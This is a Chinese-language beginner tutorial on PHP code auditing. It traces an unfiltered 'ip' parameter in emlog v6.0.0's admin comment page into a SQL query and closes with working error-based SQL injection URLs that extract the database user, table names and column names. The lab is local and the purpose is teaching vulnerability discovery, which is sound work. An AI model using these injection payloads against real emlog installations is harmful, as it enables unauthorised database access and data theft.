0基础PHP代码审计——第二天

前几天笔者有点事情，暂停更新了，今天接着更新。

一：环境工具准备

        PhpStuday。

        PhpStorm。

       emlog_v6.0.0

二：环境搭建

        使用phpstuday进行一键搭建,路劲设置好后，会进入安装界面，按照步骤一步一步来就行。安装完成后如图。

        为什么要安装完成后再进行审计呢，因为安装完和安装前的目录结构不一样，我们以安装完后为准。

三：进行审计

         我们直接把项目在PhpStorm中打开，直接使用正则表达式全局搜索，但是搜出来大部分都是xxx_model.php文件，这里我去查了一下，model.php是一个用于处理与数据相关的操作的文件。那我们就看一下这些model.php文件中处理数据的写法是怎么写的，看能不能找到脆弱点入手。

        一共有8个文件，我们就从第一个开始看。

打开后我们看见定义了一个getComments函数，我们先不看后面的，直接跟进这个函数，看看那里用到了。

选中，按ctrl就会出现在哪里用到了。

根据文件名字，我们看第一个comment.php文件。这里我们看到使用了getComments方法，但是也看到了intval函数。果断跑路。

        通过comment这个单词的意思，这应该是一个评论留言系统，后面可能还有接收值的地方，我们慢慢往下看。这里发现了GET接收一个ip参数，并且判断是否存在，然后赋值给$ip,后面再使用函数$Comment_Model的delCommentByIp()方法，并传递$ip为参数。所以变量$ip是没有过滤的。

我们接着追踪delCommentByIp()方法，看看有没有过滤。

可以看到$ip直接被带入sql语句中了，是没有过滤的。

我们回到comment.php目录，接着看刚才的代码片段。

首先$action的值要等于delbyip。

然后检查用户Token

接着检查用户是否管理员身份，如果不是提示权限不足，并重定向到'./'目录。

构造sql注入语句，没有输出回显。所以我们可以用报错注入或者时间注入。

这里需要注意token需要放在前面，如果放在--+的后面会被注释掉。

admin/comment.php/?action=delbyip&token=37a7352817086053a064b9380bf41ac0&ip=%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+

查询数据库

查询表

admin/comment.php/?action=delbyip&token=37a7352817086053a064b9380bf41ac0&ip=%27and(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)))%20--+

查列名

admin/comment.php/?action=delbyip&token=37a7352817086053a064b9380bf41ac0&ip=%27and(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emlog_blog' limit 1,1),0x7e)))%20--+

最后：

世间文字八万个，唯有情字最伤人。